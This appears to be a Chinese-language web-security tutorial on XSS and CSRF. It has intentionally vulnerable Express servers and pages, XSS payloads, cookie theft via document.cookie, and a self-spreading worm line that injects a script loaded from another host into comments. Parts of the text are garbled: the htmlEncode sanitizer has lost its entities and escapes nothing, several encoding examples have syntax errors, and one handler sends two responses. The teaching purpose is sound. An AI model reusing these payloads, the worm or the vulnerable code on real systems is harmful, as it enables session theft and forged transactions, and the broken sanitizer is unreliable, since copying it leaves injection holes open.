诱导用户点击恶意链接来造成一次性攻击
const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();
const bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
app.use(express.static(path.resolve(__dirname, 'public')));
//http://localhost:3000/list?category=%3Cscript%3Ealert(1)%3C/script%3E
app.get('/list', function (req, res) {
let { category } = req.query;
res.header('Content-Type', 'text/html;charset=utf-8');
res.send(`你输入的分类是: ${category}`);
});
app.listen(3000, () => console.log('The server is starting at port 3000'));
黑客将代码存储到漏洞服务器中,用户浏览相关页面发起攻击
类型 | 反射型 | 存储型 |
---|---|---|
持久性 | 非持久 | 持久化(存储在服务器) |
触发时机 | 需要用户点击 | 不需要用户交互也可以触发 |
危害 | 危害较小 | 危害更大 |
public\comment-list.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>评论列表</title>
<link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="panel panel-default">
<div class="panel-heading">
<h2>评论列表</h2>
</div>
<div class="panel-body">
<ul class="list-group comment-list">
</ul>
</div>
<div class="panel-footer">
<div class="row">
<div class="col-md-12">
<form onsubmit="addComment(event)">
<div class="form-group">
<label for="username">用户名</label>
<input id="username" class="form-control" placeholder="用户名">
</div>
<div class="form-group">
<label for="content">内容</label>
<input id="content" class="form-control" placeholder="请输入评论">
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
function getCommentList() {
$.get('/api/comments').then(comments => {
let html = comments.map(item => (
`
<li class="list-group-item">
<div class="media">
<div class="media-left">
<a href="#">
<img style="border-radius:5px" class="media-object" src="${item.avatar}" >
</a>
</div>
<div class="media-body">
<h4 class="media-heading">用户名: ${item.username}</h4>
<p>内容: ${item.content}</p>
<p>时间: ${item.time}</p>
</div>
</div>
</li>
`
)).join('');
$('.comment-list').html(html);
});
}
getCommentList();
function addComment(event) {
event.preventDefault();
let username = $('#username').val();
let content = $('#content').val();
if (!content) return;
$.post('/api/comments', { username, content }).then(data => {
getCommentList();
$('#content').val('');
});
}
</script>
</body>
</html>
server.js
let comments = [
{ avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '张三', content: '今天天气不错', time: new Date().toLocaleString() },
{ avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a', username: '李四', content: '是的', time: new Date().toLocaleString() }
];
app.get('/api/comments', function (req, res) {
res.json(comments);
});
app.post('/api/comments', function (req, res) {
let comment = req.body;
comments.push({
...comment,
avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a',
time: new Date().toLocaleString()
});
res.json(comments);
});
不需要服务器端支持,是由于DOM结构修改导致的,基于浏览器DOM解析的攻击
<body>
<h1>输入链接地址,然后点击按钮</h1>
<div id="content"></div>
<input type="text" id="link">
<button onclick="setup()">设置</button>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
function setup() {
// " onclick=alert(1) //
let html = `<a href="${$('#link').val()}">点我</a>`;
$('#content').html(html);
}
</script>
</body>
实现XSS攻击的恶意脚本被称为 XSS payload
document.cookie
navigator.userAgent
login.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>登录</title>
<link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<form onsubmit="login(event)">
<div class="form-group">
<label for="username">用户名</label>
<input id="username" class="form-control" placeholder="用户名">
</div>
<div class="form-group">
<label for="password">密码</label>
<input id="password" class="form-control" placeholder="密码">
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary" value="登录">
</div>
</form>
</div>
</div>
</div>
</div>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
function login() {
let username = $('#username').val();
let password = $('#password').val();
$.post('/api/login', { username, password }).then(data => {
if (data.code == 0) {
location.href = `/user.html?username=${username}`;
}
$('#username').val('');
$('#password').val('');
});
}
</script>
</body>
</html>
user.html
<script>
document.write(document.cookie);
</script>
server.js
let users = [{ username: 'a', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }, { username: 'b', password: '123456', avatar: 'http://cn.gravatar.com/avatar/01459f970ce17cd9e1e783160ecc951a' }];
let userSessions = {};
app.post('/api/login', function (req, res) {
let body = req.body;
let user;
for (let i = 0; i < users.length; i++) {
if (body.username == users[i].username && body.password == users[i].password) {
user = users[i];
break;
}
}
if (user) {
const sessionId = 'user_' + Math.random() * 1000;
res.cookie('username', user.username);
res.cookie('sessionId', sessionId, { httpOnly: true });
userSessions[sessionId] = {};
res.json({ code: 0, user });
} else {
res.json({ code: 1, data: '没有该用户' });
}
});
var url1 = 'http://www.珠峰培训.com'; //包含汉字 encodeURI(url1));//http://www.%E7%8F%A0%E5%B3%B0.com
var url2 = 'http://www.a.com?名称=珠峰'; //键为汉字
var url3 = 'http://a.com?name=?&'; //值的内容为特殊符号
encodeURI(url3);//http://a.com?name=?&
encodeURIComponent(url3));// http%3A%2F%2Fa.com%3Fname%3D%3F%26
console.log(encodeURI('http://a.com?name=') + encodeURIComponent('?&')); http://a.com?name=%3F%26
在 HTML 中,某些字符是预留的,比如不能使用小于号(<)和大于号(>),这是因为浏览器会误认为它们是标签。如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities) HTML 编码分为:
在 HTML 进制编码中其中的数字则是对应字符的 unicode 字符编码。 比如单引号的 unicode 字符编码是27,则单引号可以被编码为'
function htmlEncode(str) {
return String(str)
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/</g, '<')
.replace(/>/g, '>');
}
avaScript 中有些字符有特殊用途,如果字符串中想使用这些字符原来的含义,需要使用反斜杠对这些特殊符号进行转义。我们称之为 Javascript编码
var str = "zfpx"";
var str = "zfpx\"";
使用之前要做urlencode()
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<div id="intag"></div>
<div id="tagAttr"></div>
<div id="inEvent"></div>
<div id="inLink"></div>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
function htmlEncode(str) {
return String(str)
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/</g, '<')
.replace(/>/g, '>');
}
let data = {
desc: "<script>alert(1);<\/script>",
clsName: '"><script>alert(2);<\/script>',
url: '"><script>alert(3);<\/script>',
id: '"><script>alert(4);<\/script>',
}
$('#intag').html(htmlEncode(data.desc));
$('#tagAttr').html(`<a class = "${htmlEncode(data.clsName)}">标签属性中</a>`);
$('#inEvent').html(`<a href="#" onclick = "go('${data.url}')">事件参数</a>`);
$('#inLink').html(`<a href="http://localhost:3000/articles/${encodeURI(data.id)}">link</a>`);
function go(url) {
console.log(url);
}
//使用“\”对特殊字符进行转义,除数字字母之外,小于127使用16进制“\xHH”的方式进行编码,大于用unicode(非常严格模式)。
var JavaScriptEncode = function (str) {
var hex = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');
function changeTo16Hex(charCode) {
return "\\x" + charCode.charCodeAt(0).toString(16);
}
function encodeCharx(original) {
var found = true;
var thecharchar = original.charAt(0);
var thechar = original.charCodeAt(0);
switch (thecharchar) {
case '\n': return "\\n"; break; //newline
case '\r': return "\\r"; break; //Carriage return
case '\'': return "\\'"; break;
case '"': return "\\\""; break;
case '\&': return "\\&"; break;
case '\\': return "\\\\"; break;
case '\t': return "\\t"; break;
case '\b': return "\\b"; break;
case '\f': return "\\f"; break;
case '/': return "\\x2F"; break;
case '<': return "\\x3C"; break;
case '>': return "\\x3E"; break;
default:
found = false;
break;
}
if (!found) {
if (thechar > 47 && thechar < 58) { //数字
return original;
}
if (thechar > 64 && thechar < 91) { //大写字母
return original;
}
if (thechar > 96 && thechar < 123) { //小写字母
return original;
}
if (thechar > 127) { //大于127用unicode
var c = thechar;
var a4 = c % 16;
c = Math.floor(c / 16);
var a3 = c % 16;
c = Math.floor(c / 16);
var a2 = c % 16;
c = Math.floor(c / 16);
var a1 = c % 16;
return "\\u" + hex[a1] + hex[a2] + hex[a3] + hex[a4] + "";
}
else {
return changeTo16Hex(original);
}
}
}
var preescape = str;
var escaped = "";
var i = 0;
for (i = 0; i < preescape.length; i++) {
escaped = escaped + encodeCharx(preescape.charAt(i));
}
return escaped;
}
</script>
</body>
</html>
Cross Site Request Forgery 跨站请求伪造
bank.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>我的银行</title>
<link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.css">
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-12">
<div class="panel panel-default">
<div class="panel-heading">
<p>用户名
<span id="username"></span>
</p>
<p>余额
<span id="money"></span>
</p>
</div>
<div class="panel-body">
<form onsubmit="transfer(event)">
<div class="form-group">
<label for="target">转账用户</label>
<input id="target" class="form-control" placeholder="请输入的用户名">
</div>
<div class="form-group">
<label for="amount">金额</label>
<input id="amount" class="form-control" placeholder="请输入转账的金额">
</div>
<div class="form-group">
<input type="submit" class="btn btn-primary">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
<script>
$(function () {
$.get('/api/user').then(data => {
console.log(data);
console.log(data.user.username);
if (data.code == 0) {
$('#username').html(data.user.username);
$('#money').html(data.user.money);
} else {
alert('用户未登录');
location.href = '/login.html';
}
});
});
function transfer(event) {
event.preventDefault();
let target = $('#target').val();
let amount = $('#amount').val();
$.post('/api/transfer', { target, amount }).then(data => {
if (data.code == 0) {
alert('转账成功');
location.reload();
} else {
alert('用户未登录');
location.href = '/login.html';
}
});
}
</script>
</body>
</html>
app.get('/api/user', function (req, res) {
let { username } = userSessions[req.cookies.sessionId];
if (username) {
let user;
for (let i = 0; i < users.length; i++) {
if (username == users[i].username) {
user = users[i];
break;
}
}
res.json({ code: 0, user });
} else {
res.json({ code: 1, error: '用户没有登录' });
}
});
app.post('/api/transfer', function (req, res) {
let { target, amount } = req.body;
amount = isNaN(amount) ? 0 : Number(amount);
let { username } = userSessions[req.cookies.sessionId];
if (username) {
let user;
for (let i = 0; i < users.length; i++) {
if (username == users[i].username) {
users[i].money -= amount;
} else if (target == users[i].username) {
users[i].money += amount;
}
}
res.json({ code: 0 });
} else {
res.json({ code: 1, error: '用户没有登录' });
}
})
server.js
var svgCaptcha = require('svg-captcha');
app.get('/api/captcha', function (req, res) {
let session = userSessions[req.cookies.sessionId];
if (session) {
var codeConfig = {
size: 5,// 验证码长度
ignoreChars: '0o1i', // 验证码字符中排除 0o1i
noise: 2, // 干扰线条的数量
height: 44
}
var captcha = svgCaptcha.create(codeConfig);
session.captcha = captcha.text.toLowerCase(); //存session用于验证接口获取文字码
res.send({ code: 0, captcha: captcha.data });
} else {
res.json({ code: 1, data: '没有该用户' });
}
});
bank.html
<div class="form-group">
<label for="captcha" id="captcha"></label>
<input id="captcha" class="form-control" placeholder="请输入验证码">
</div>
$.get('/api/captcha').then(data => {
if (data.code == 0) {
$('#captcha').html(data.captcha);
} else {
alert('用户未登录');
location.href = '/login.html';
}
});
let referer = req.headers['referer'];
if (/^https?:\/\/localhost:3000/.test(referer)) {
} else {
res.json({ code: 1, error: 'referer不正确' });
}
bank.html
function getClientToken() {
let result = document.cookie.match(/token=([^;]+)/);
return result ? result[1] : '';
}
function transfer(event) {
event.preventDefault();
let target = $('#target').val();
let amount = $('#amount').val();
let captcha = $('#captcha').val();
$.post('/api/transfer', {
target,
amount,
captcha,
clientToken: getClientToken()
}).then(data => {
if (data.code == 0) {
alert('转账成功');
location.reload();
} else {
alert('用户未登录');
location.href = '/login.html';
}
});
}
server.js
app.post('/api/transfer', function (req, res) {
// let referer = req.headers['referer'];
//if (/^https?:\/\/localhost:3000/.test(referer)) {
let { target, amount, clientToken, captcha } = req.body;
amount = isNaN(amount) ? 0 : Number(amount);
let { username, token } = userSessions[req.cookies.sessionId];
if (username) {
if (clientToken == token) {
let user;
for (let i = 0; i < users.length; i++) {
if (username == users[i].username) {
users[i].money -= amount;
} else if (target == users[i].username) {
users[i].money += amount;
}
}
res.json({ code: 0 });
} else {
res.json({ code: 1, error: '违法操作' });
}
} else {
res.json({ code: 1, error: '用户没有登录' });
}
//} else {
res.json({ code: 1, error: 'referer不正确' });
//}
})
不断传播的xss+csrf攻击 worm.js
const attack = '<script src="http://localhost:3001/worm.js"></script>';
$.post('/api/comments', { content: 'haha' + attack });
分布式拒绝服务(Distribute Denial Of Service)